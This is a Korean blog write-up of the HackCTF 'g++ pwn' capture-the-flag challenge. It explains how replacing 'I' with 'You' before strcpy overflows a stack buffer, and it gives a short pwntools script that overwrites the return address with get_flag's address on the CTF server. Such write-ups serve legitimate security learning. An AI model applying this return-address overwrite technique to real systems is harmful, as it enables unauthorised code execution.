문제를 풀기 앞서 checksec먼저 해주었다.
NX bit만 걸려있는것을 볼 수 있다.
파일을 실행시키고 입력값을 아무거나 줬을때 그냥 입력값 그대로 출력되는 것을 볼 수있다.
바이너리 파일만 존재했기때문에 ida로 직접까봐야 겠다.
문제 이름이 (g++ pwn 이니 C++ 파일로 되어있지 않을까?)
vuln 함수를 보면
fgets로 &s를 32만큼만 받아서 RET값을 침범할수 없다.
하지만 replace 함수를 유심히 보면 I를 You로 바꾼다.
입력받는 s는 ebp-3ch(60) 에 위치한다.
replace 함수를 이용해바꾼 문자열을 strcpy 해주기 때문에 여기서 bof가 발생할거라는 추측을 할 수있다.
그렇다면 RET주소를 get_flag()로 돌려주고
나머지 64를 쓰레기 값들로 채워주면 flag를 얻을 수 있을것이다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3011)
pay = b'I'*20
pay += b'A'*4
pay += p32(0x08048f0d)
p.sendline(pay)
p.interactive()
'Write-Up > HackCTF' 카테고리의 다른 글
[HackCTF] Random Key 풀이 (0) | 2021.10.06 |
---|---|
[HackCTF] You are Silver 풀이 (0) | 2021.10.06 |
[HackCTF] Yes or no (0) | 2021.05.17 |
[HackCTF] BOF_PIE (0) | 2021.05.17 |
[HackCTF] Offset (0) | 2021.05.16 |